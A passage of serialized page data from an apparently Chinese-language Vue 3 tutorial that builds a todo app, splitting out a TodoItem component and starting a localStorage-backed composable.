",[136,15735,331],{"class":232},[136,15737,334],{"class":157},[136,15739,15740],{"class":138,"line":176},[136,15741,173],{"emptyLinePlaceholder":172},[136,15743,15744,15746,15749,15751],{"class":138,"line":199},[136,15745,339],{"class":232},[136,15747,15748],{"class":236}," KEY",[136,15750,240],{"class":232},[136,15752,15753],{"class":157}," 'vue3-todo'\n",[136,15755,15756,15758,15761,15763,15765],{"class":138,"line":208},[136,15757,339],{"class":232},[136,15759,15760],{"class":236}," storage",[136,15762,240],{"class":232},[136,15764,346],{"class":150},[136,15766,15767],{"class":142},"([])\n",[136,15769,15770],{"class":138,"line":220},[136,15771,173],{"emptyLinePlaceholder":172},[136,15773,15774,15776,15779,15781,15783,15785,15787],{"class":138,"line":229},[136,15775,339],{"class":232},[136,15777,15778],{"class":236}," draft",[136,15780,240],{"class":232},[136,15782,346],{"class":150},[136,15784,249],{"class":142},[136,15786,1738],{"class":157},[136,15788,255],{"class":142},[136,15790,15791,15793,15796,15798,15800,15802,15805,15808],{"class":138,"line":258},[136,15792,339],{"class":232},[136,15794,15795],{"class":236}," filter",[136,15797,240],{"class":232},[136,15799,346],{"class":150},[136,15801,249],{"class":142},[136,15803,15804],{"class":157},"'all'",[136,15806,15807],{"class":142},")          ",[136,15809,15810],{"class":456},"\u002F\u002F all | active | done\n",[136,15812,15813],{"class":138,"line":267},[136,15814,173],{"emptyLinePlaceholder":172},[136,15816,15817,15819,15821,15823,15825,15827],{"class":138,"line":273},[136,15818,339],{"class":232},[136,15820,10963],{"class":150},[136,15822,240],{"class":232},[136,15824,11586],{"class":142},[136,15826,593],{"class":232},[136,15828,468],{"class":142},[136,15830,15831,15833,15836,15838,15841,15843],{"class":138,"line":289},[136,15832,4675],{"class":232},[136,15834,15835],{"class":236}," text",[136,15837,240],{"class":232},[136,15839,15840],{"class":142}," draft.value.",[136,15842,5801],{"class":150},[136,15844,4597],{"class":142},[136,15846,15847,15849,15851,15853,15856],{"class":138,"line":605},[136,15848,5862],{"class":232},[136,15850,731],{"class":142},[136,15852,5867],{"class":232},[136,15854,15855],{"class":142},"text) ",[136,15857,5873],{"class":232},[136,15859,15860,15863,15865,15868,15870,15873,15875],{"class":138,"line":2406},[136,15861,15862],{"class":142},"  storage.value.",[136,15864,3384],{"class":150},[136,15866,15867],{"class":142},"({ id: Date.",[136,15869,10977],{"class":150},[136,15871,15872],{"class":142},"(), text, done: ",[136,15874,5012],{"class":236},[136,15876,4437],{"class":142},[136,15878,15879,15882,15884],{"class":138,"line":2415},[136,15880,15881],{"class":142},"  draft.value ",[136,15883,154],{"class":232},[136,15885,15886],{"class":157}," ''\n",[136,15888,15889],{"class":138,"line":4546},[136,15890,538],{"class":142},[136,15892,15893],{"class":138,"line":4558},[136,15894,173],{"emptyLinePlaceholder":172},[136,15896,15897,15899,15902,15904,15906,15908],{"class":138,"line":4563},[136,15898,339],{"class":232},[136,15900,15901],{"class":236}," visible",[136,15903,240],{"class":232},[136,15905,587],{"class":150},[136,15907,590],{"class":142},[136,15909,4176],{"class":232},[136,15911,15912,15914,15916,15918,15921,15923,15926,15928,15931,15933,15935,15937,15940,15942,15945,15947,15950],{"class":138,"line":4569},[136,15913,15862],{"class":142},[136,15915,4184],{"class":150},[136,15917,249],{"class":142},[136,15919,15920],{"class":703},"t",[136,15922,4191],{"class":232},[136,15924,15925],{"class":142}," filter.value ",[136,15927,6559],{"class":232},[136,15929,15930],{"class":157}," 'all'",[136,15932,11604],{"class":232},[136,15934,15245],{"class":236},[136,15936,1280],{"class":232},[136,15938,15939],{"class":142}," t.done ",[136,15941,6559],{"class":232},[136,15943,15944],{"class":142}," (filter.value ",[136,15946,6559],{"class":232},[136,15948,15949],{"class":157}," 'done'",[136,15951,4160],{"class":142},[136,15953,15954],{"class":138,"line":4585},[136,15955,255],{"class":142},[136,15957,15958,15960,15963,15965,15967,15969,15971,15974,15976,15978,15980,15982,15984,15987,15989],{"class":138,"line":4591},[136,15959,339],{"class":232},[136,15961,15962],{"class":236}," left",[136,15964,240],{"class":232},[136,15966,587],{"class":150},[136,15968,590],{"class":142},[136,15970,593],{"class":232},[136,15972,15973],{"class":142}," storage.value.",[136,15975,4184],{"class":150},[136,15977,249],{"class":142},[136,15979,15920],{"class":703},[136,15981,4191],{"class":232},[136,15983,5835],{"class":232},[136,15985,15986],{"class":142},"t.done).",[136,15988,10992],{"class":236},[136,15990,255],{"class":142},[136,15992,15993],{"class":138,"line":6085},[136,15994,173],{"emptyLinePlaceholder":172},[136,15996,15997,15999,16002,16004,16006,16008,16010,16012,16014,16017,16019,16021,16023,16025,16028,16030],{"class":138,"line":6094},[136,15998,3720],{"class":150},[136,16000,16001],{"class":142},"(storage, (",[136,16003,4316],{"class":703},[136,16005,707],{"class":142},[136,16007,593],{"class":232},[136,16009,13961],{"class":142},[136,16011,12174],{"class":150},[136,16013,249],{"class":142},[136,16015,16016],{"class":236},"KEY",[136,16018,4139],{"class":142},[136,16020,1532],{"class":236},[136,16022,3594],{"class":142},[136,16024,3606],{"class":150},[136,16026,16027],{"class":142},"(v)), { deep: ",[136,16029,4532],{"class":236},[136,16031,4437],{"class":142},[136,16033,16034,16036,16038],{"class":138,"line":9498},[136,16035,292],{"class":142},[136,16037,181],{"class":146},[136,16039,166],{"class":142},[136,16041,16042],{"class":138,"line":9503},[136,16043,173],{"emptyLinePlaceholder":172},[136,16045,16046,16048,16050],{"class":138,"line":14590},[136,16047,143],{"class":142},[136,16049,371],{"class":146},[136,16051,166],{"class":142},[136,16053,16055,16057,16059,16061,16063,16066],{"class":138,"line":16054},26,[136,16056,378],{"class":142},[136,16058,9067],{"class":146},[136,16060,5956],{"class":150},[136,16062,154],{"class":142},[136,16064,16065],{"class":157},"\"todo\"",[136,16067,166],{"class":142},[136,16069,16071,16073,16075,16077,16079,16082],{"class":138,"line":16070},27,[136,16072,2278],{"class":142},[136,16074,2260],{"class":146},[136,16076,2263],{"class":150},[136,16078,154],{"class":142},[136,16080,16081],{"class":157},"\"add\"",[136,16083,166],{"class":142},[136,16085,16087,16089,16091,16093,16095,16098,16100,16102,16105,16108,16110,16113],{"class":138,"line":16086},28,[136,16088,9320],{"class":142},[136,16090,2281],{"class":146},[136,16092,2284],{"class":150},[136,16094,154],{"class":142},[136,16096,16097],{"class":157},"\"draft\"",[136,16099,5932],{"class":150},[136,16101,154],{"class":142},[136,16103,16104],{"class":157},"\"要做什么？\"",[136,16106,16107],{"class":150}," aria-label",[136,16109,154],{"class":142},[136,16111,16112],{"class":157},"\"新待办\"",[136,16114,166],{"class":142},[136,16116,16118,16120,16122,16124,16126,16128,16130,16132,16135,16138,16140],{"class":138,"line":16117},29,[136,16119,9320],{"class":142},[136,16121,2238],{"class":146},[136,16123,5984],{"class":150},[136,16125,154],{"class":142},[136,16127,5182],{"class":157},[136,16129,6070],{"class":150},[136,16131,154],{"class":142},[136,16133,16134],{"class":157},"\"!draft.trim()\"",[136,16136,16137],{"class":142},">添加\u003C\u002F",[136,16139,2238],{"class":146},[136,16141,166],{"class":142},[136,16143,16145,16147,16149],{"class":138,"line":16144},30,[136,16146,9387],{"class":142},[136,16148,2260],{"class":146},[136,16150,166],{"class":142},[136,16152,16154],{"class":138,"line":16153},31,[136,16155,173],{"emptyLinePlaceholder":172},[136,16157,16159,16161,16163],{"class":138,"line":16158},32,[136,16160,2278],{"class":142},[136,16162,1377],{"class":146},[136,16164,166],{"class":142},[136,16166,16168,16170,16172,16174,16176,16179,16181,16183,16186],{"class":138,"line":16167},33,[136,16169,9320],{"class":142},[136,16171,1380],{"class":146},[136,16173,2207],{"class":150},[136,16175,154],{"class":142},[136,16177,16178],{"class":157},"\"t in visible\"",[136,16180,2215],{"class":150},[136,16182,154],{"class":142},[136,16184,16185],{"class":157},"\"t.id\"",[136,16187,166],{"class":142},[136,16189,16191,16193,16195],{"class":138,"line":16190},34,[136,16192,9364],{"class":142},[136,16194,6041],{"class":146},[136,16196,166],{"class":142},[136,16198,16200,16203,16205,16207,16209,16211,16213,16215,16218],{"class":138,"line":16199},35,[136,16201,16202],{"class":142},"          \u003C",[136,16204,2281],{"class":146},[136,16206,5984],{"class":150},[136,16208,154],{"class":142},[136,16210,6032],{"class":157},[136,16212,2284],{"class":150},[136,16214,154],{"class":142},[136,16216,16217],{"class":157},"\"t.done\"",[136,16219,166],{"class":142},[136,16221,16223,16225,16227,16229,16231,16234,16237,16239],{"class":138,"line":16222},36,[136,16224,16202],{"class":142},[136,16226,136],{"class":146},[136,16228,2324],{"class":150},[136,16230,154],{"class":142},[136,16232,16233],{"class":157},"\"{ done: t.done }\"",[136,16235,16236],{"class":142},">{{ t.text }}\u003C\u002F",[136,16238,136],{"class":146},[136,16240,166],{"class":142},[136,16242,16244,16247,16249],{"class":138,"line":16243},37,[136,16245,16246],{"class":142},"        \u003C\u002F",[136,16248,6041],{"class":146},[136,16250,166],{"class":142},[136,16252,16254,16256,16258,16260,16262,16265,16267,16269,16272,16275,16277],{"class":138,"line":16253},38,[136,16255,9364],{"class":142},[136,16257,2238],{"class":146},[136,16259,5984],{"class":150},[136,16261,154],{"class":142},[136,16263,16264],{"class":157},"\"button\"",[136,16266,2241],{"class":150},[136,16268,154],{"class":142},[136,16270,16271],{"class":157},"\"storage = storage.filter(x => x.id !== t.id)\"",[136,16273,16274],{"class":142},">删除\u003C\u002F",[136,16276,2238],{"class":146},[136,16278,166],{"class":142},[136,16280,16282,16284,16286],{"class":138,"line":16281},39,[136,16283,9378],{"class":142},[136,16285,1380],{"class":146},[136,16287,166],{"class":142},[136,16289,16291,16293,16295],{"class":138,"line":16290},40,[136,16292,9387],{"class":142},[136,16294,1377],{"class":146},[136,16296,166],{"class":142},[136,16298,16300],{"class":138,"line":16299},41,[136,16301,173],{"emptyLinePlaceholder":172},[136,16303,16305,16307,16309],{"class":138,"line":16304},42,[136,16306,2278],{"class":142},[136,16308,9134],{"class":146},[136,16310,166],{"class":142},[136,16312,16314],{"class":138,"line":16313},43,[136,16315,16316],{"class":142},"      剩 {{ left }} 项\n",[136,16318,16320,16322,16325,16327,16329,16332],{"class":138,"line":16319},44,[136,16321,9320],{"class":142},[136,16323,16324],{"class":146},"select",[136,16326,2284],{"class":150},[136,16328,154],{"class":142},[136,16330,16331],{"class":157},"\"filter\"",[136,16333,166],{"class":142},[136,16335,16337,16339,16342,16345,16347,16350,16353,16355],{"class":138,"line":16336},45,[136,16338,9364],{"class":142},[136,16340,16341],{"class":146},"option",[136,16343,16344],{"class":150}," value",[136,16346,154],{"class":142},[136,16348,16349],{"class":157},"\"all\"",[136,16351,16352],{"class":142},">全部\u003C\u002F",[136,16354,16341],{"class":146},[136,16356,166],{"class":142},[136,16358,16360,16362,16364,16366,16368,16371,16374,16376],{"class":138,"line":16359},46,[136,16361,9364],{"class":142},[136,16363,16341],{"class":146},[136,16365,16344],{"class":150},[136,16367,154],{"class":142},[136,16369,16370],{"class":157},"\"active\"",[136,16372,16373],{"class":142},">未完成\u003C\u002F",[136,16375,16341],{"class":146},[136,16377,166],{"class":142},[136,16379,16381,16383,16385,16387,16389,16392,16395,16397],{"class":138,"line":16380},47,[136,16382,9364],{"class":142},[136,16384,16341],{"class":146},[136,16386,16344],{"class":150},[136,16388,154],{"class":142},[136,16390,16391],{"class":157},"\"done\"",[136,16393,16394],{"class":142},">已完成\u003C\u002F",[136,16396,16341],{"class":146},[136,16398,166],{"class":142},[136,16400,16402,16404,16406],{"class":138,"line":16401},48,[136,16403,9378],{"class":142},[136,16405,16324],{"class":146},[136,16407,166],{"class":142},[136,16409,16411,16413,16415],{"class":138,"line":16410},49,[136,16412,9387],{"class":142},[136,16414,9134],{"class":146},[136,16416,166],{"class":142},[136,16418,16420,16422,16424],{"class":138,"line":16419},50,[136,16421,2307],{"class":142},[136,16423,9067],{"class":146},[136,16425,166],{"class":142},[136,16427,16429,16431,16433],{"class":138,"line":16428},51,[136,16430,292],{"class":142},[136,16432,371],{"class":146},[136,16434,166],{"class":142},[10,16436,16437,16438,16440,16441,16443,16444,16446,16447,1442,16449,1442,16451,1442,16453,16455,16456],{},"这一段里已经出现了：",[22,16439,246],{}," + 数组、",[22,16442,2881],{}," 在 checkbox 上直接改行内字段、",[22,16445,428],{}," 做筛选与统计、",[22,16448,6115],{},[22,16450,8779],{},[22,16452,10690],{},[22,16454,3720],{}," 做持久化。",[17,16457,16458],{},"入门阶段能写出这个版本，就说明语法都打通了。",[119,16460,16462],{"id":16461},"第三步拆组件该拆的地方只有一处","第三步：拆组件（该拆的地方只有一处）",[10,16464,16465,16466,16469],{},"判断标准：某块有自己的状态或行为、且被用了两次以上，就值得独立成组件。这里 ",[22,16467,16468],{},"TodoItem"," 有「编辑态」这个本地状态，最合适被拆出去。",[127,16471,16473],{"className":305,"code":16472,"language":307,"meta":132,"style":132},"\u003C!-- components\u002FTodoItem.vue -->\n\u003Cscript setup>\nimport { ref } from 'vue'\nconst props = defineProps({ todo: { type: Object, required: true } })\nconst emit = defineEmits(['toggle', 'remove', 'rename'])\n\nconst editing = ref(false)\nconst text = ref(props.todo.text)\n\nfunction save() {\n  const t = text.value.trim()\n  if (t && t !== props.todo.text) emit('rename', t)\n  editing.value = false\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cli>\n    \u003Ctemplate v-if=\"!editing\">\n      \u003Clabel>\u003Cinput type=\"checkbox\" :checked=\"props.todo.done\" @change=\"emit('toggle')\">\u003Cspan>{{ props.todo.text }}\u003C\u002Fspan>\u003C\u002Flabel>\n      \u003Cbutton type=\"button\" @click=\"editing = true\">编辑\u003C\u002Fbutton>\n      \u003Cbutton type=\"button\" @click=\"emit('remove')\">删除\u003C\u002Fbutton>\n    \u003C\u002Ftemplate>\n    \u003Ctemplate v-else>\n      \u003Cinput v-model=\"text\" @keyup.enter=\"save\" @keyup.esc=\"editing = false\" autofocus>\n      \u003Cbutton type=\"button\" @click=\"save\">保存\u003C\u002Fbutton>\n    \u003C\u002Ftemplate>\n  \u003C\u002Fli>\n\u003C\u002Ftemplate>\n",[22,16474,16475,16480,16490,16500,16517,16543,16547,16564,16577,16581,16590,16606,16633,16643,16647,16655,16659,16667,16675,16696,16743,16769,16794,16802,16813,16844,16869,16877,16885],{"__ignoreMap":132},[136,16476,16477],{"class":138,"line":139},[136,16478,16479],{"class":456},"\u003C!-- components\u002FTodoItem.vue -->\n",[136,16481,16482,16484,16486,16488],{"class":138,"line":169},[136,16483,143],{"class":142},[136,16485,181],{"class":146},[136,16487,318],{"class":150},[136,16489,166],{"class":142},[136,16491,16492,16494,16496,16498],{"class":138,"line":176},[136,16493,325],{"class":232},[136,16495,328],{"class":142},[136,16497,331],{"class":232},[136,16499,334],{"class":157},[136,16501,16502,16504,16506,16508,16510,16513,16515],{"class":138,"line":199},[136,16503,339],{"class":232},[136,16505,7864],{"class":236},[136,16507,240],{"class":232},[136,16509,7869],{"class":150},[136,16511,16512],{"class":142},"({ todo: { type: Object, required: ",[136,16514,4532],{"class":236},[136,16516,3363],{"class":142},[136,16518,16519,16521,16523,16525,16527,16529,16532,16534,16537,16539,16541],{"class":138,"line":208},[136,16520,339],{"class":232},[136,16522,8227],{"class":236},[136,16524,240],{"class":232},[136,16526,8232],{"class":150},[136,16528,8235],{"class":142},[136,16530,16531],{"class":157},"'toggle'",[136,16533,4139],{"class":142},[136,16535,16536],{"class":157},"'remove'",[136,16538,4139],{"class":142},[136,16540,8243],{"class":157},[136,16542,8455],{"class":142},[136,16544,16545],{"class":138,"line":220},[136,16546,173],{"emptyLinePlaceholder":172},[136,16548,16549,16551,16554,16556,16558,16560,16562],{"class":138,"line":229},[136,16550,339],{"class":232},[136,16552,16553],{"class":236}," editing",[136,16555,240],{"class":232},[136,16557,346],{"class":150},[136,16559,249],{"class":142},[136,16561,5012],{"class":236},[136,16563,255],{"class":142},[136,16565,16566,16568,16570,16572,16574],{"class":138,"line":258},[136,16567,339],{"class":232},[136,16569,15835],{"class":236},[136,16571,240],{"class":232},[136,16573,346],{"class":150},[136,16575,16576],{"class":142},"(props.todo.text)\n",[136,16578,16579],{"class":138,"line":267},[136,16580,173],{"emptyLinePlaceholder":172},[136,16582,16583,16585,16588],{"class":138,"line":273},[136,16584,5231],{"class":232},[136,16586,16587],{"class":150}," save",[136,16589,226],{"class":142},[136,16591,16592,16594,16597,16599,16602,16604],{"class":138,"line":289},[136,16593,4675],{"class":232},[136,16595,16596],{"class":236}," t",[136,16598,240],{"class":232},[136,16600,16601],{"class":142}," text.value.",[136,16603,5801],{"class":150},[136,16605,4597],{"class":142},[136,16607,16608,16610,16613,16615,16618,16621,16624,16626,16628,16630],{"class":138,"line":605},[136,16609,5862],{"class":232},[136,16611,16612],{"class":142}," (t ",[136,16614,5841],{"class":232},[136,16616,16617],{"class":142}," t ",[136,16619,16620],{"class":232},"!==",[136,16622,16623],{"class":142}," props.todo.text) ",[136,16625,4753],{"class":150},[136,16627,249],{"class":142},[136,16629,8243],{"class":157},[136,16631,16632],{"class":142},", t)\n",[136,16634,16635,16638,16640],{"class":138,"line":2406},[136,16636,16637],{"class":142},"  editing.value ",[136,16639,154],{"class":232},[136,16641,16642],{"class":236}," false\n",[136,16644,16645],{"class":138,"line":2415},[136,16646,538],{"class":142},[136,16648,16649,16651,16653],{"class":138,"line":4546},[136,16650,292],{"class":142},[136,16652,181],{"class":146},[136,16654,166],{"class":142},[136,16656,16657],{"class":138,"line":4558},[136,16658,173],{"emptyLinePlaceholder":172},[136,16660,16661,16663,16665],{"class":138,"line":4563},[136,16662,143],{"class":142},[136,16664,371],{"class":146},[136,16666,166],{"class":142},[136,16668,16669,16671,16673],{"class":138,"line":4569},[136,16670,378],{"class":142},[136,16672,1380],{"class":146},[136,16674,166],{"class":142},[136,16676,16677,16679,16681,16683,16685,16687,16689,16692,16694],{"class":138,"line":4585},[136,16678,2278],{"class":142},[136,16680,371],{"class":146},[136,16682,5948],{"class":232},[136,16684,154],{"class":142},[136,16686,1288],{"class":157},[136,16688,5867],{"class":232},[136,16690,16691],{"class":142},"editing",[136,16693,1288],{"class":157},[136,16695,166],{"class":142},[136,16697,16698,16700,16702,16704,16706,16708,16710,16712,16715,16717,16720,16723,16725,16728,16730,16732,16735,16737,16739,16741],{"class":138,"line":4591},[136,16699,9320],{"class":142},[136,16701,6041],{"class":146},[136,16703,8472],{"class":142},[136,16705,2281],{"class":146},[136,16707,5984],{"class":150},[136,16709,154],{"class":142},[136,16711,6032],{"class":157},[136,16713,16714],{"class":150}," :checked",[136,16716,154],{"class":142},[136,16718,16719],{"class":157},"\"props.todo.done\"",[136,16721,16722],{"class":150}," @change",[136,16724,154],{"class":142},[136,16726,16727],{"class":157},"\"emit('toggle')\"",[136,16729,8472],{"class":142},[136,16731,136],{"class":146},[136,16733,16734],{"class":142},">{{ props.todo.text }}\u003C\u002F",[136,16736,136],{"class":146},[136,16738,192],{"class":142},[136,16740,6041],{"class":146},[136,16742,166],{"class":142},[136,16744,16745,16747,16749,16751,16753,16755,16757,16759,16762,16765,16767],{"class":138,"line":6085},[136,16746,9320],{"class":142},[136,16748,2238],{"class":146},[136,16750,5984],{"class":150},[136,16752,154],{"class":142},[136,16754,16264],{"class":157},[136,16756,2241],{"class":150},[136,16758,154],{"class":142},[136,16760,16761],{"class":157},"\"editing = true\"",[136,16763,16764],{"class":142},">编辑\u003C\u002F",[136,16766,2238],{"class":146},[136,16768,166],{"class":142},[136,16770,16771,16773,16775,16777,16779,16781,16783,16785,16788,16790,16792],{"class":138,"line":6094},[136,16772,9320],{"class":142},[136,16774,2238],{"class":146},[136,16776,5984],{"class":150},[136,16778,154],{"class":142},[136,16780,16264],{"class":157},[136,16782,2241],{"class":150},[136,16784,154],{"class":142},[136,16786,16787],{"class":157},"\"emit('remove')\"",[136,16789,16274],{"class":142},[136,16791,2238],{"class":146},[136,16793,166],{"class":142},[136,16795,16796,16798,16800],{"class":138,"line":9498},[136,16797,9387],{"class":142},[136,16799,371],{"class":146},[136,16801,166],{"class":142},[136,16803,16804,16806,16808,16811],{"class":138,"line":9503},[136,16805,2278],{"class":142},[136,16807,371],{"class":146},[136,16809,16810],{"class":232}," v-else",[136,16812,166],{"class":142},[136,16814,16815,16817,16819,16821,16823,16825,16827,16829,16832,16834,16836,16839,16842],{"class":138,"line":14590},[136,16816,9320],{"class":142},[136,16818,2281],{"class":146},[136,16820,2284],{"class":150},[136,16822,154],{"class":142},[136,16824,5683],{"class":157},[136,16826,2292],{"class":150},[136,16828,154],{"class":142},[136,16830,16831],{"class":157},"\"save\"",[136,16833,5417],{"class":150},[136,16835,154],{"class":142},[136,16837,16838],{"class":157},"\"editing = false\"",[136,16840,16841],{"class":150}," autofocus",[136,16843,166],{"class":142},[136,16845,16846,16848,16850,16852,16854,16856,16858,16860,16862,16865,16867],{"class":138,"line":16054},[136,16847,9320],{"class":142},[136,16849,2238],{"class":146},[136,16851,5984],{"class":150},[136,16853,154],{"class":142},[136,16855,16264],{"class":157},[136,16857,2241],{"class":150},[136,16859,154],{"class":142},[136,16861,16831],{"class":157},[136,16863,16864],{"class":142},">保存\u003C\u002F",[136,16866,2238],{"class":146},[136,16868,166],{"class":142},[136,16870,16871,16873,16875],{"class":138,"line":16070},[136,16872,9387],{"class":142},[136,16874,371],{"class":146},[136,16876,166],{"class":142},[136,16878,16879,16881,16883],{"class":138,"line":16086},[136,16880,2307],{"class":142},[136,16882,1380],{"class":146},[136,16884,166],{"class":142},[136,16886,16887,16889,16891],{"class":138,"line":16117},[136,16888,292],{"class":142},[136,16890,371],{"class":146},[136,16892,166],{"class":142},[10,16894,16895],{},"父组件把「怎么改数据」收口成三个动作：",[127,16897,16899],{"className":305,"code":16898,"language":307,"meta":132,"style":132},"\u003Cscript setup>\nimport TodoItem from '.\u002Fcomponents\u002FTodoItem.vue'\nfunction toggle(id) { const t = storage.value.find(x => x.id === id); t.done = !t.done }\nfunction remove(id) { storage.value = storage.value.filter(x => x.id !== id) }\nfunction rename(id, text) { const t = storage.value.find(x => x.id === id); t.text = text }\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cul>\n    \u003CTodoItem\n      v-for=\"t in visible\" :key=\"t.id\" :todo=\"t\"\n      @toggle=\"toggle(t.id)\" @remove=\"remove(t.id)\" @rename=\"(text) => rename(t.id, text)\"\n    \u002F>\n  \u003C\u002Ful>\n\u003C\u002Ftemplate>\n",[22,16900,16901,16911,16923,16967,17000,17045,17053,17057,17065,17073,17080,17125,17182,17187,17195],{"__ignoreMap":132},[136,16902,16903,16905,16907,16909],{"class":138,"line":139},[136,16904,143],{"class":142},[136,16906,181],{"class":146},[136,16908,318],{"class":150},[136,16910,166],{"class":142},[136,16912,16913,16915,16918,16920],{"class":138,"line":169},[136,16914,325],{"class":232},[136,16916,16917],{"class":142}," TodoItem ",[136,16919,331],{"class":232},[136,16921,16922],{"class":157}," '.\u002Fcomponents\u002FTodoItem.vue'\n",[136,16924,16925,16927,16929,16931,16933,16935,16937,16939,16941,16943,16946,16948,16950,16952,16955,16957,16960,16962,16964],{"class":138,"line":176},[136,16926,5231],{"class":232},[136,16928,11581],{"class":150},[136,16930,249],{"class":142},[136,16932,10137],{"class":703},[136,16934,13796],{"class":142},[136,16936,339],{"class":232},[136,16938,16596],{"class":236},[136,16940,240],{"class":232},[136,16942,15973],{"class":142},[136,16944,16945],{"class":150},"find",[136,16947,249],{"class":142},[136,16949,4142],{"class":703},[136,16951,4191],{"class":232},[136,16953,16954],{"class":142}," x.id ",[136,16956,6559],{"class":232},[136,16958,16959],{"class":142}," id); t.done ",[136,16961,154],{"class":232},[136,16963,5835],{"class":232},[136,16965,16966],{"class":142},"t.done }\n",[136,16968,16969,16971,16974,16976,16978,16981,16983,16985,16987,16989,16991,16993,16995,16997],{"class":138,"line":199},[136,16970,5231],{"class":232},[136,16972,16973],{"class":150}," remove",[136,16975,249],{"class":142},[136,16977,10137],{"class":703},[136,16979,16980],{"class":142},") { storage.value ",[136,16982,154],{"class":232},[136,16984,15973],{"class":142},[136,16986,4184],{"class":150},[136,16988,249],{"class":142},[136,16990,4142],{"class":703},[136,16992,4191],{"class":232},[136,16994,16954],{"class":142},[136,16996,16620],{"class":232},[136,16998,16999],{"class":142}," id) }\n",[136,17001,17002,17004,17007,17009,17011,17013,17015,17017,17019,17021,17023,17025,17027,17029,17031,17033,17035,17037,17040,17042],{"class":138,"line":208},[136,17003,5231],{"class":232},[136,17005,17006],{"class":150}," rename",[136,17008,249],{"class":142},[136,17010,10137],{"class":703},[136,17012,4139],{"class":142},[136,17014,15676],{"class":703},[136,17016,13796],{"class":142},[136,17018,339],{"class":232},[136,17020,16596],{"class":236},[136,17022,240],{"class":232},[136,17024,15973],{"class":142},[136,17026,16945],{"class":150},[136,17028,249],{"class":142},[136,17030,4142],{"class":703},[136,17032,4191],{"class":232},[136,17034,16954],{"class":142},[136,17036,6559],{"class":232},[136,17038,17039],{"class":142}," id); t.text ",[136,17041,154],{"class":232},[136,17043,17044],{"class":142}," text }\n",[136,17046,17047,17049,17051],{"class":138,"line":220},[136,17048,292],{"class":142},[136,17050,181],{"class":146},[136,17052,166],{"class":142},[136,17054,17055],{"class":138,"line":229},[136,17056,173],{"emptyLinePlaceholder":172},[136,17058,17059,17061,17063],{"class":138,"line":258},[136,17060,143],{"class":142},[136,17062,371],{"class":146},[136,17064,166],{"class":142},[136,17066,17067,17069,17071],{"class":138,"line":267},[136,17068,378],{"class":142},[136,17070,1377],{"class":146},[136,17072,166],{"class":142},[136,17074,17075,17077],{"class":138,"line":273},[136,17076,2278],{"class":142},[136,17078,17079],{"class":146},"TodoItem\n",[136,17081,17082,17085,17087,17089,17092,17094,17096,17098,17100,17102,17104,17106,17109,17111,17113,17116,17118,17120,17122],{"class":138,"line":289},[136,17083,17084],{"class":232},"      v-for",[136,17086,154],{"class":142},[136,17088,1288],{"class":157},[136,17090,17091],{"class":142},"t ",[136,17093,10088],{"class":232},[136,17095,15901],{"class":142},[136,17097,1288],{"class":157},[136,17099,1280],{"class":142},[136,17101,7727],{"class":150},[136,17103,154],{"class":142},[136,17105,1288],{"class":157},[136,17107,17108],{"class":142},"t.id",[136,17110,1288],{"class":157},[136,17112,1280],{"class":142},[136,17114,17115],{"class":150},"todo",[136,17117,154],{"class":142},[136,17119,1288],{"class":157},[136,17121,15920],{"class":142},[136,17123,17124],{"class":157},"\"\n",[136,17126,17127,17130,17133,17135,17137,17139,17142,17144,17146,17149,17151,17153,17155,17157,17159,17161,17163,17165,17167,17169,17171,17173,17175,17177,17180],{"class":138,"line":605},[136,17128,17129],{"class":142},"      @",[136,17131,17132],{"class":150},"toggle",[136,17134,154],{"class":142},[136,17136,1288],{"class":157},[136,17138,17132],{"class":150},[136,17140,17141],{"class":142},"(t.id)",[136,17143,1288],{"class":157},[136,17145,8319],{"class":142},[136,17147,17148],{"class":150},"remove",[136,17150,154],{"class":142},[136,17152,1288],{"class":157},[136,17154,17148],{"class":150},[136,17156,17141],{"class":142},[136,17158,1288],{"class":157},[136,17160,8319],{"class":142},[136,17162,8342],{"class":150},[136,17164,154],{"class":142},[136,17166,1288],{"class":157},[136,17168,249],{"class":142},[136,17170,15676],{"class":703},[136,17172,707],{"class":142},[136,17174,593],{"class":232},[136,17176,17006],{"class":150},[136,17178,17179],{"class":142},"(t.id, text)",[136,17181,17124],{"class":157},[136,17183,17184],{"class":138,"line":2406},[136,17185,17186],{"class":142},"    \u002F>\n",[136,17188,17189,17191,17193],{"class":138,"line":2415},[136,17190,2307],{"class":142},[136,17192,1377],{"class":146},[136,17194,166],{"class":142},[136,17196,17197,17199,17201],{"class":138,"line":4546},[136,17198,292],{"class":142},[136,17200,371],{"class":146},[136,17202,166],{"class":142},[10,17204,17205,17206,17209],{},"注意 ",[22,17207,17208],{},":key=\"t.id\""," 让「编辑中的那一行」在筛选切换时不会被别的行复用（第十一章）。",[119,17211,17213],{"id":17212},"第四步把可复用逻辑抽成组合式函数","第四步：把可复用逻辑抽成组合式函数",[10,17215,17216],{},"持久化 + 初始化那三行，下一个项目还要再写一遍 → 抽走（第十三章的形状）：",[127,17218,17220],{"className":447,"code":17219,"language":449,"meta":132,"style":132},"\u002F\u002F composables\u002FusePersistentList.js\nimport { ref, watch } from 'vue'\n\n\u002F**\n * 一个自动落盘 localStorage 的列表。\n * @param {string} key 存储键名\n * @param {Array} [initial=[]] 读不到数据时的初始值\n * @returns {import('vue').Ref\u003CArray>} 响应式数组\n *\u002F\nexport function usePersistentList(key, initial = []) {\n  let start = initial\n  try {\n    const raw = JSON.parse(localStorage.getItem(key))\n    if (Array.isArray(raw)) start = raw\n  } catch { \u002F* 脏数据：安静回落到初始值 *\u002F }\n  const list = ref(start)\n  watch(list, (v) => {\n    try { localStorage.setItem(key, JSON.stringify(v)) } catch (e) { console.warn('写入失败', e) }\n  }, { deep: true })\n  return list\n}\n",[22,17221,17222,17227,17237,17241,17245,17250,17262,17282,17294,17298,17321,17333,17339,17361,17380,17394,17407,17422,17453,17461,17468],{"__ignoreMap":132},[136,17223,17224],{"class":138,"line":139},[136,17225,17226],{"class":456},"\u002F\u002F composables\u002FusePersistentList.js\n",[136,17228,17229,17231,17233,17235],{"class":138,"line":169},[136,17230,325],{"class":232},[136,17232,8099],{"class":142},[136,17234,331],{"class":232},[136,17236,334],{"class":157},[136,17238,17239],{"class":138,"line":176},[136,17240,173],{"emptyLinePlaceholder":172},[136,17242,17243],{"class":138,"line":199},[136,17244,11871],{"class":456},[136,17246,17247],{"class":138,"line":208},[136,17248,17249],{"class":456}," * 一个自动落盘 localStorage 